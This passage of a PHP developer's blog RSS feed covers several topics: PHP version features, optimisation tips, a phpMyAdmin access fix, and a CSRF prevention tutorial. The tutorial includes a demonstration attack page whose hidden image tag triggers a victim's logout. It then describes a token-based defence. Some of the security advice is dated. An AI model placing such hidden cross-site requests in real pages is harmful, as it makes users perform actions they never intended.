&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;a href=&quot;http://www.sitepoint.com/getting-started-with-sass/&quot;&gt;http://www.sitepoint.com/getting-started-with-sass/&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 04 Mar 2013 00:14:12 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/66/Getting-Started-with-Sass---Stylesheets</guid>
								      </item>								      <item>
								         <title>Forbidden You dont have permission to access phpmyadmin on this server.</title>
								         <link>http://www.nileshpawar.com/65/Forbidden-You-dont-have-permission-to-access-phpmyadmin-on-this-server.</link>
								         <description>&lt;p&gt;It could be a number of things but it is probably that apache is Listening on the W8 IPV6 default localhost address which is ::1&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
1. edit httpd.conf, using the link on the wampserver icon wampserver -&amp;gt; apache -&amp;gt; https.conf &lt;br /&gt;
find the line &amp;gt; Listen 80 &lt;br /&gt;
and change to &amp;gt; listen 0.0.0.0:80&lt;/p&gt;
&lt;p&gt;This will force apache to listen on IPV4 and make the pre-configured phpMyAdmin security configuration compatable.&lt;/p&gt;
&lt;p&gt;By default phpMyAdmin has the following access restriction: &lt;br /&gt;
Order Deny,Allow &lt;br /&gt;
Deny from all &lt;br /&gt;
Allow from 127.0.0.1&lt;/p&gt;
&lt;p&gt;IP Address 127.0.0.1 is the IPv4 address for localhost&lt;/p&gt;
&lt;p&gt;You may also need to make sure your HOSTS file has the line &lt;br /&gt;
#127.0.0.1 localhost &lt;br /&gt;
uncommented to &lt;br /&gt;
127.0.0.1 localhost &lt;br /&gt;
or add it if it does not exists.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
The hosts file is protected by windows, in order to save it you must have Administrator privilages. &lt;br /&gt;
Vista/W7/W8 you may think you are an Administrator BUT YOU ARE NOT.&lt;/p&gt;
&lt;p&gt;To successfully save the hosts file do this to launch your editor with Admin Privileges.&lt;/p&gt;
&lt;p&gt;Locate your editors icon on the desktop or from the Start menus ( notepad will do if you have nothing else ) &lt;br /&gt;
left click + shift over your chosen editor icon - will show a menu. &lt;br /&gt;
select &amp;quot;Run As Administrator&amp;quot; from the menu. &lt;br /&gt;
Navigate your editor to the c:\windows\system32\drivers\etc\hosts file.&lt;/p&gt;
&lt;p&gt;When you have made changes you will now be allowed to save them.&lt;/p&gt;</description>
								         <pubDate>Tue, 19 Feb 2013 00:50:54 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/65/Forbidden-You-dont-have-permission-to-access-phpmyadmin-on-this-server.</guid>
								      </item>								      <item>
								         <title>Feature changes in PHP5.4.X</title>
								         <link>http://www.nileshpawar.com/64/Feature-changes-in-PHP5.4.X</link>
								         <description>&lt;p&gt;PHP 5.4.0 offers a wide range of new features:&lt;/p&gt;
&lt;p&gt;Support for traits has been added.&lt;br /&gt;
Short array syntax has been added, e.g. $a = [1, 2, 3, 4]; or $a = ['one' =&amp;gt; 1, 'two' =&amp;gt; 2, 'three' =&amp;gt; 3, 'four' =&amp;gt; 4];.&lt;br /&gt;
Function array dereferencing has been added, e.g. foo()[0].&lt;br /&gt;
Closures now support $this.&lt;br /&gt;
&amp;lt;?= is now always available, regardless of the short_open_tag php.ini option.&lt;br /&gt;
Class member access on instantiation has been added, e.g. (new Foo)-&amp;gt;bar().&lt;br /&gt;
Class::{expr}() syntax is now supported.&lt;br /&gt;
Binary number format has been added, e.g. 0b001001101.&lt;br /&gt;
Improved parse error messages and improved incompatible arguments warnings.&lt;br /&gt;
The session extension can now track the upload progress of files.&lt;br /&gt;
Built-in development web server in CLI mode.&lt;/p&gt;</description>
								         <pubDate>Mon, 14 Jan 2013 03:07:00 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/64/Feature-changes-in-PHP5.4.X</guid>
								      </item>								      <item>
								         <title>Few Tips to optimize your PHP Code</title>
								         <link>http://www.nileshpawar.com/63/Few-Tips-to-optimize-your-PHP-Code</link>
								         <description>&lt;p&gt;Avoid magic like&amp;nbsp;__get, __set,&amp;nbsp;__autoload.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Use require() instead of require_once() where possible.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Use&amp;nbsp;full paths&amp;nbsp;in includes and requires, less time spent on resolving the OS paths.&lt;/p&gt;
&lt;p&gt;require() and include() are identical in every way except require halts if the file is missing. Performance wise there is very little difference.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Since PHP5, the time of when the script started executing can be found in $_SERVER[&amp;rsquo;REQUEST_TIME&amp;rsquo;], use this instead of time() or microtime().&amp;nbsp;&lt;/p&gt;
&lt;p&gt;PCRE&amp;nbsp;regex is quicker than&amp;nbsp;EREG, but always see if you can use quicker native functions such as&amp;nbsp;strncasecmp,&amp;nbsp;strpbrk&amp;nbsp;and&amp;nbsp;stripos&amp;nbsp;instead.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;When parsing with XML in PHP try&amp;nbsp;xml2array, which makes use of the&amp;nbsp;PHP XML functions, for HTML you can try PHP&amp;rsquo;s&amp;nbsp;DOM document&amp;nbsp;or&amp;nbsp;DOM XML&amp;nbsp;in PHP4.&lt;/p&gt;
&lt;p&gt;str_replace&amp;nbsp;is faster than&amp;nbsp;preg_replace, str_replace is best overall, however&amp;nbsp;strtr&amp;nbsp;is sometimes quicker with larger strings. Using array() inside str_replace is usually quicker than multiple str_replace.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;else if&amp;rdquo; statements are faster than&amp;nbsp;select statements&amp;nbsp;aka&amp;nbsp;case/switch.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Error suppression with @ is very slow.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To reduce bandwidth usage turn on mod_deflate in Apache v2&amp;nbsp;or for Apache v1 try mod_gzip.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Close your database connections when you&amp;rsquo;re done with them.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;$row[&amp;rsquo;id&amp;rsquo;] is&amp;nbsp;7 times faster&amp;nbsp;than $row[id], because if you don&amp;rsquo;t supply quotes it has to guess which index you meant, assuming you didn&amp;rsquo;t mean a constant.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Use &amp;lt;?php &amp;hellip; ?&amp;gt; tags when declaring PHP as all other styles are depreciated, including short tags.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Use strict code, avoid suppressing errors, notices and warnings thus resulting in cleaner code and less overheads. Consider having&amp;nbsp;error_reporting(E_ALL)&amp;nbsp;always on.&lt;/p&gt;
&lt;p&gt;PHP scripts are be served at 2-10 times slower by Apache httpd than a static page. Try to use static pages instead of server side scripts.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;PHP scripts (unless cached) are compiled on the fly every time you call them. Install a PHP caching product (such as&amp;nbsp;memcached&amp;nbsp;or&amp;nbsp;eAccelerator&amp;nbsp;or&amp;nbsp;Turck MMCache) to typically increase performance by 25-100% by removing compile times. You can evensetup eAccelerator on cPanel using EasyApache3.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;An alternative caching technique when you have pages that don&amp;rsquo;t change too frequently is to cache the HTML output of your PHP pages. Try&amp;nbsp;Smarty&amp;nbsp;or&amp;nbsp;Cache Lite.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Use isset where possible in replace of strlen. (ie: if (strlen($foo) &amp;lt; 5) { echo &amp;ldquo;Foo is too short&amp;rdquo;; } vs. if (!isset($foo{5})) { echo &amp;ldquo;Foo is too short&amp;rdquo;; } ).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;++$i is faster than $ i++, so&amp;nbsp;use pre-increment where possible.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Make use of the countless predefined functions of PHP, don&amp;rsquo;t attempt to build your own as the native ones will be far quicker; if you have very time and resource consuming functions, consider writing them as C extensions or modules.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Profile your code. A profiler shows you, which parts of your code consumes how many time. The&amp;nbsp;Xdebug debugger&amp;nbsp;already contains a profiler. Profiling shows you the bottlenecks in overview.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Document your code.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Learn the difference between good and bad code.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Stick to coding standards, it will make it easier for you to understand other people&amp;rsquo;s code and other people will be able to understand yours.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Separate code, content and presentation: keep your PHP code separate from your HTML.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t bother using complex template systems such as Smarty, use the one that&amp;rsquo;s included in PHP already, see&amp;nbsp;ob_get_contents&amp;nbsp;and&amp;nbsp;extract, and simply pull the data from your database.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Never trust variables coming from user land (such as from $_POST) usemysql_real_escape_string&amp;nbsp;when using mysql, and&amp;nbsp;htmlspecialchars&amp;nbsp;when outputting as HTML.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
								         <pubDate>Wed, 02 Jan 2013 04:45:36 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/63/Few-Tips-to-optimize-your-PHP-Code</guid>
								      </item>								      <item>
								         <title>PHP 5.5 Release Date and Plans - Lately in PHP podcast episode 28 - PHP Expert India</title>
								         <link>http://www.nileshpawar.com/62/PHP-5.5-Release-Date-and-Plans---Lately-in-PHP-podcast-episode-28---PHP-Expert-India</link>
								         <description>&lt;p&gt;&lt;em&gt;&lt;font color=&quot;#222222&quot; size=&quot;2&quot;&gt;PHP 5.5 release is already being planned. The release manager was picked, the new features are decided and the release date is estimated. This one of the main topics discussed by Manuel Lemos and Ernani Joppert in episode 28 of the Lately in PHP podcast.&lt;br /&gt;
&lt;br /&gt;
They also discussed the interpretation from VentureBeat that Zend is working on mobile version of PHP, using abstract symbol tables to optimize PHP further, and creating classes that provide APIs that are simpler for the users.&lt;br /&gt;
&lt;br /&gt;
Now listen to the podcast, or watch the podcast video or read the transcript to learn more about these and other interesting topics of the PHP world.&lt;br style=&quot;font: 13px/normal arial, sans-serif; color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; /&gt;
&lt;br style=&quot;font: 13px/normal arial, sans-serif; color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; /&gt;
&lt;/font&gt;&lt;/em&gt;&lt;a style=&quot;font: 13px/normal arial, sans-serif; color: rgb(17, 85, 204); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; href=&quot;http://www.phpclasses.org/blog/post/193.html&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#1155cc&quot;&gt;More...&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 15 Oct 2012 18:33:44 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/62/PHP-5.5-Release-Date-and-Plans---Lately-in-PHP-podcast-episode-28---PHP-Expert-India</guid>
								      </item>								      <item>
								         <title>New features in PHP 5.3</title>
								         <link>http://www.nileshpawar.com/61/New-features-in-PHP-5.3</link>
								         <description>&lt;p&gt;PHP 5.3.0 offers a wide range of new features:&lt;/p&gt;
&lt;p&gt;Support for namespaces has been added.&lt;br /&gt;
Support for Late Static Bindings has been added.&lt;br /&gt;
Support for jump labels (limited goto) has been added.&lt;br /&gt;
Support for native Closures (Lambda/Anonymous functions) has been added.&lt;br /&gt;
There are two new magic methods, __callStatic() and __invoke().&lt;br /&gt;
Nowdoc syntax is now supported, similar to Heredoc syntax, but with single quotes.&lt;br /&gt;
It is now possible to use Heredocs to initialize static variables and class properties/constants.&lt;br /&gt;
Heredocs may now be declared using double quotes, complementing the Nowdoc syntax.&lt;br /&gt;
Constants can now be declared outside a class using the const keyword.&lt;br /&gt;
The ternary operator now has a shorthand form: ?:.&lt;br /&gt;
The HTTP stream wrapper now considers all status codes from 200 to 399 to be successful.&lt;br /&gt;
Dynamic access to static methods is now possible.&lt;br /&gt;
Exceptions can now be nested.&lt;br /&gt;
A garbage collector for circular references has been added, and is enabled by default.&lt;br /&gt;
The mail() function now supports logging of sent email. (Note: This only applies to email sent through this function.)&lt;/p&gt;</description>
								         <pubDate>Mon, 15 Oct 2012 06:40:50 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/61/New-features-in-PHP-5.3</guid>
								      </item>								      <item>
								         <title>Calculate date difference in days in php</title>
								         <link>http://www.nileshpawar.com/60/Calculate-date-difference-in-days-in-php</link>
								         <description>&lt;p&gt;In this tutorial you will learn how to PHP date difference in days in a PHP web application. The  strtotime() function that convert date to time in second .The date difference (in second )  divide by (60 * 60 * 24) that convert  into days.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;lt;?&lt;/p&gt;
&lt;p&gt;$date1=date('2011-3-1');&lt;/p&gt;
&lt;p&gt;$date2=date('2011-1-1');&lt;br /&gt;
echo &amp;quot;date1 : &amp;quot;.$date1.&amp;quot;&amp;quot;;&lt;/p&gt;
&lt;p&gt;echo &amp;quot;date2 : &amp;quot;.$date2.&amp;quot;&amp;quot;;&lt;/p&gt;
&lt;p&gt;echo &amp;quot;date difference in-days :: &amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$date_diff=strtotime($date1) - strtotime($date2);&lt;br /&gt;
echo ($date_diff/(60 * 60 * 24)).&amp;quot; days&amp;quot;;&lt;/p&gt;
&lt;p&gt;?&amp;gt;&lt;/p&gt;</description>
								         <pubDate>Tue, 17 Jul 2012 22:10:27 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/60/Calculate-date-difference-in-days-in-php</guid>
								      </item>								      <item>
								         <title>Preventing Cross-Site Request Forgeries</title>
								         <link>http://www.nileshpawar.com/59/Preventing-Cross-Site-Request-Forgeries</link>
								         <description>&lt;p&gt;Cross-site request forgery (CSRF) is a common and serious exploit where a user is tricked into performing an action he didn't explicitly intend to do. This can happen when, for example, the user is logged in to one of his favorite websites and proceeds to click a seemingly harmless link. In the background, his profile information is silently updated with an attacker's e-mail address. The attacker can then use the website's password reset feature to e-mail herself a new password and she's just successfully stolen the account. Any action that a user is allowed to perform while logged in to a website, an attacker can perform on his/her behalf, whether it's updating a profile, adding items to a shopping cart, posting messages on a forum, or practically anything else.&lt;br /&gt;
If you've never heard of CSRF before or you haven't written your code with prevention in mind, then I hate to break it to you but more than likely you're vulnerable. In this guide I will show you exactly how CSRF attacks work and what you can do to protect your users.&lt;br /&gt;
How It Works&lt;br /&gt;
To understand how a CSRF attack works, it's best to see it in action. To illustrate an attack, I'd like to create a simple example that has the ability to logout an active session. We will need a login page (login.php), a processing script to handle logging in and logging out of the session (process.php), and finally an example attack (harmless.html).&lt;br /&gt;
First, here's the code for login.php:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
session_start();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_SESSION[&amp;quot;user&amp;quot;])) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &amp;quot;&amp;lt;p&amp;gt;Welcome back, &amp;quot; . $_SESSION[&amp;quot;user&amp;quot;] . &amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; echo '&amp;lt;a href=&amp;quot;process.php?action=logout&amp;quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
else {&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;form action=&amp;quot;process.php?action=login&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;lt;p&amp;gt;The username is: admin&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;user&amp;quot; size=&amp;quot;20&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;lt;p&amp;gt;The password is: test&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;pass&amp;quot; size=&amp;quot;20&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Login&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;/p&gt;
&lt;p&gt;The login.php script begins by initializing the session data. It then checks to see if $_SESSION[&amp;quot;user&amp;quot;] has been set, and if so displays a welcome message along with a link to logout. Otherwise it displays the login form.&lt;br /&gt;
This is the processing script, process.php:&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
session_start();&lt;br /&gt;
switch($_GET[&amp;quot;action&amp;quot;]) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; case &amp;quot;login&amp;quot;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($_SERVER[&amp;quot;REQUEST_METHOD&amp;quot;] == &amp;quot;POST&amp;quot;) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $user = (isset($_POST[&amp;quot;user&amp;quot;]) &amp;amp;&amp;amp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ctype_alnum($_POST[&amp;quot;user&amp;quot;]) ? $_POST[&amp;quot;user&amp;quot;] : null;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $pass = (isset($_POST[&amp;quot;pass&amp;quot;])) ? $_POST[&amp;quot;pass&amp;quot;] : null;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $salt = '$2a$07$my.s3cr3t.SalTY.str1nG$';&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (isset($user, $pass) &amp;amp;&amp;amp; (crypt($user . $pass, $salt) ==&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; crypt(&amp;quot;admintest&amp;quot;, $salt))) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_SESSION[&amp;quot;user&amp;quot;] = $_POST[&amp;quot;user&amp;quot;];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; case &amp;quot;logout&amp;quot;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_SESSION = array();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session_destroy();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;
}&lt;br /&gt;
header(&amp;quot;Location: login.php&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;The process.php script also begins by initializing the session data, and then checks to see if there is an action to work with. We perform some basic input validation using PHP's ternary operator along with the ctype_alnum() and crypt() functions, and then set or destroy the session variable accordingly. The user is redirected back to login.php at the end of the script.&lt;br /&gt;
Now let's focus on the file an attacker might create to exploit the code in our previous examples. This is the exploit code, harmless.html:&lt;/p&gt;
&lt;p&gt;&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;p&amp;gt;This page is harmless... Or is it?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;!-- Address to target website --&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;img src=&amp;quot;process.php?action=logout&amp;quot; style=&amp;quot;display: none;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;/p&gt;
&lt;p&gt;If you visit login.php and log in to your account, and then while logged in you proceed to visit the attacker's page, you will be automatically logged out even though you didn't click the logout link. The browser sends a request to the server to access the process.php script, expecting it to be an image file. The processing script has no way of differentiating between a valid request initiated by a user clicking on the logout link and a cleverly-crafted request the browser was tricked into sending.&lt;br /&gt;
The harmless.html file could be hosted on an entirely different server than the one you're logged into, and it would still work because the attacker's page is making a request on your behalf using the session you have open in the background. It doesn't even matter if the website you're logged into is on a private network, the request will be submitted from your IP address as if you made the request yourself, making a trace to the source of the attack nearly impossible.&lt;br /&gt;
Additionally, if you allow your users to link to images as a profile avatar or the like, without proper escaping and sanitizing of the user supplied data the attack may even be possible within your own web domain.&lt;br /&gt;
While logging someone out of a website isn't that impressive, harmless.html could have just as easily contained a hidden inline frame (as opposed to an image tag) with a form that automatically submits when the page is loaded, which would make any of the attacks mentioned at the beginning of this guide fair game.&lt;br /&gt;
Hopefully now you understand just how serious CSRF attacks can be, so let's take a look at how you can prevent them.&lt;br /&gt;
Protecting Your Users&lt;br /&gt;
In order to ensure that an action is actually being performed by the user rather than a third party, you need to associate it with some sort of unique identifier which can then be verified. To prevent the attack, we can modify login.php as follows:&lt;/p&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
// make a random id&lt;br /&gt;
$_SESSION[&amp;quot;token&amp;quot;] = md5(uniqid(mt_rand(), true));&lt;br /&gt;
echo '&amp;lt;a href=&amp;quot;process.php?action=logout&amp;amp;csrf=' . $_SESSION[&amp;quot;token&amp;quot;] . '&amp;quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&lt;br /&gt;
Then to verify the identifier, we can modify process.php as follows:&lt;br /&gt;
case &amp;quot;logout&amp;quot;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (isset($_GET[&amp;quot;csrf&amp;quot;]) &amp;amp;&amp;amp; $_GET[&amp;quot;csrf&amp;quot;] == $_SESSION[&amp;quot;token&amp;quot;]) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_SESSION = array();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session_destroy();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;/p&gt;
&lt;p&gt;With these simple modifications, harmless.html will no longer work because the attacker has been given the additional task of having to guess an additional random token value. To protect forms, you can also include the identifier inside of a hidden field as follows so it is submitted along with the rest of the form data.&lt;/p&gt;
&lt;p&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;csrf&amp;quot; value=&amp;quot;&amp;lt;?php echo $_SESSION[&amp;quot;token&amp;quot;]; ?&amp;gt;&amp;quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;In my own opinion, despite the best intentioned harassing of my esteemed friends and colleagues, I prefer to use PHP's session_id() rather than generating a random token since I'm not particularly fond of the &amp;quot;security through obscurity&amp;quot; approach. In addition to using session_id(), I also use session_regenerate_id() whenever logging in or updating sensitive information in order to mitigate the risk of any session fixation attacks, and I never append the id to a URL that will be stored in the browsers history. Arbitrarily exposing the session id more than necessary is never a good idea, but so long as you're careful I think it's a more elegant approach. Of course, if your website uses some type of authentication that doesn't use sessions, then you'd need to generate your own id anyway.&lt;/p&gt;</description>
								         <pubDate>Tue, 17 Jul 2012 02:25:34 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/59/Preventing-Cross-Site-Request-Forgeries</guid>
								      </item>								      <item>
								         <title>HTML5 and the Future of Online Games</title>
								         <link>http://www.nileshpawar.com/58/HTML5-and-the-Future-of-Online-Games</link>
								         <description>&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The Golden Child: Flash Games&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;For several years now Adobe Flash has been the dominate technology used to create online games. It is so popular in fact that the term &amp;ldquo;flash games&amp;rdquo; has almost become synonymous with browser based games in general. Take a look at all of the major gaming portals; with a few exceptions, practically all of the games they offer are flash games.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;What&amp;rsquo;s so wrong with Flash you ask? Well nothing really. It was an amazing technology that was used to add all sorts of functionality to browsers. Through the use of a plug-in developers could now include all sorts of interactivity and animated graphics to their web pages. However things are changing, and Flash may no longer be the best fit for many online applications.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Browsers are a lot smarter now and they are only going to continue to get smarter. Rather than relying upon plug-ins to display interactive and graphically intense pages modern browsers can do it all by themselves. Utilizing the W3C, the specification for HTML5, browser makers are including all sorts of functionality into their products&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;
